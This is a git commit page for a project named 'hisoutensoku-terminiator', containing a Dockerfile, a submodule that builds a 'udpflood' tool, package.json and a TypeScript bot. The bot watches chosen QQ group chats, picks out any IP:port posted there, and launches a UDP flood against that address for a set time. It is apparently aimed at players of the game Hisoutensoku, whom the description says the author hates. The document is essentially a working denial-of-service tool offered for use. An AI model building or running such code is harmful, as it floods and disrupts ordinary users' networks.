Commit 4bcbd0af authored by nanahira's avatar nanahira

finish

parent 40cfba88
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
lerna-debug.log*
# Diagnostic reports (https://nodejs.org/api/report.html)
report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
# Runtime data
pids
*.pid
*.seed
*.pid.lock
# Directory for instrumented libs generated by jscoverage/JSCover
lib-cov
# Coverage directory used by tools like istanbul
coverage
*.lcov
# nyc test coverage
.nyc_output
# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
.grunt
# Bower dependency directory (https://bower.io/)
bower_components
# node-waf configuration
.lock-wscript
# Compiled binary addons (https://nodejs.org/api/addons.html)
build/Release
# Dependency directories
node_modules/
jspm_packages/
# TypeScript v1 declaration files
typings/
# TypeScript cache
*.tsbuildinfo
# Optional npm cache directory
.npm
# Optional eslint cache
.eslintcache
# Microbundle cache
.rpt2_cache/
.rts2_cache_cjs/
.rts2_cache_es/
.rts2_cache_umd/
# Optional REPL history
.node_repl_history
# Output of 'npm pack'
*.tgz
# Yarn Integrity file
.yarn-integrity
# dotenv environment variables file
.env
.env.test
# parcel-bundler cache (https://parceljs.org/)
.cache
# Next.js build output
.next
# Nuxt.js build / generate output
.nuxt
dist
# Gatsby files
.cache/
# Comment in the public line in if your project uses Gatsby and *not* Next.js
# https://nextjs.org/blog/next-9-1#public-directory-support
# public
# vuepress build output
.vuepress/dist
# Serverless directories
.serverless/
# FuseBox cache
.fusebox/
# DynamoDB Local files
.dynamodb/
# TernJS port file
.tern-port
/run.js
/config.yaml
.dockerignore
.gitignore
Dockerfile
......@@ -102,3 +102,6 @@ dist
# TernJS port file
.tern-port
/run.js
/config.yaml
[submodule "udpflood"]
path = udpflood
url = https://github.com/purerosefallen/udpflood
FROM debian:buster-slim as builder
RUN apt update && \
apt -y install build-essential && \
rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
COPY ./udpflood /usr/src/app/
WORKDIR /usr/src/app
RUN make -j$(nproc)
FROM node:buster-slim
RUN npm -g install typescript ts-node
RUN apt update && \
apt -y install build-essential && \
rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*
COPY --from=builder /usr/src/app/bin/Release/udpflood /usr/local/bin/
WORKDIR /usr/src/app
COPY package*.json ./
RUN npm ci
COPY . ./
CMD ["ts-node", "./run.ts"]
This diff is collapsed.
{
"name": "hisoutensoku-terminiator",
"version": "1.0.0",
"description": "I hate hisoutensoku",
"main": "run.js",
"scripts": {
"start": "ts-node run.ts"
},
"repository": {
"type": "git",
"url": "git+https://github.com/purerosefallen/hisoutensoku-terminiator.git"
},
"keywords": [
"hisoutensoku",
"coolq"
],
"author": "Nanahira",
"license": "AGPL-3.0",
"bugs": {
"url": "https://github.com/purerosefallen/hisoutensoku-terminiator/issues"
},
"homepage": "https://github.com/purerosefallen/hisoutensoku-terminiator#readme",
"dependencies": {
"@types/bunyan": "^1.8.6",
"@types/underscore": "^1.10.0",
"@types/yaml": "^1.9.7",
"bunyan": "^1.8.12",
"cqhttp": "^1.2.0",
"underscore": "^1.10.2",
"yaml": "^1.10.0"
}
}
import * as bunyan from "bunyan";
import * as fs from "fs";
import * as CQHttp from "cqhttp";
import * as _ from "underscore";
import * as yaml from "yaml";
import { spawn } from "child_process";
import * as os from "os";
interface CoolQConfig {
apiRoot: string;
accessToken: string;
secret: string;
}
interface Config {
address: string;
port: number;
coolq: CoolQConfig;
floodQQGroups: Array<number>;
attackTimeout: number;
}
const log = bunyan.createLogger({
name: "hisoutensoku-terminator"
});
let CoolQ: any, config: Config;
function sleep(time: number): Promise<void> {
return new Promise((resolve, reject) => {
setTimeout(resolve, time);
});
};
function attack(address: string, port: number): Promise<void> {
log.info(`Attack of ${address}:${port} started.`);
const attackProcess = spawn("udpflood", ["-t", address, "-p", port.toString(), "-c", os.cpus.length.toString()]);
setTimeout(() => {
attackProcess.kill();
}, config.attackTimeout);
return new Promise(done => {
let check = false;
attackProcess.on("exit", (code, signal) => {
log.info(`Attack of ${address}:${port} exited.`);
if (!check) {
check = true;
done();
}
});
attackProcess.on("error", (error) => {
log.info(`Attack of ${address}:${port} errored: ${error.message}`);
if (!check) {
check = true;
done();
}
});
});
}
async function messageHandler(data: any): Promise<void> {
const groupID: number = data.group_id;
if (!groupID || !_.contains(config.floodQQGroups, groupID)) {
return;
}
const messageMatch: RegExpMatchArray = data.message.match(/(\d{1,3}(\.\d{1,3}){3}):(\d{1,5})/g);
if (!messageMatch) {
return;
}
const attackPromises = messageMatch.map(pattern => {
const [address, portRaw] = pattern.split(":");
const port = parseInt(portRaw);
return attack(address, port);
});
await Promise.all(attackPromises);
}
async function main(): Promise<void> {
config = yaml.parse(await fs.promises.readFile("./config.yaml", "utf8")) as Config;
CoolQ = new CQHttp(config.coolq);
CoolQ.on("message", messageHandler);
CoolQ.listen(config.port, config.address);
}
main();
Subproject commit 162a5e50fd1428e267085c076ad4ab532f1b7f67
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment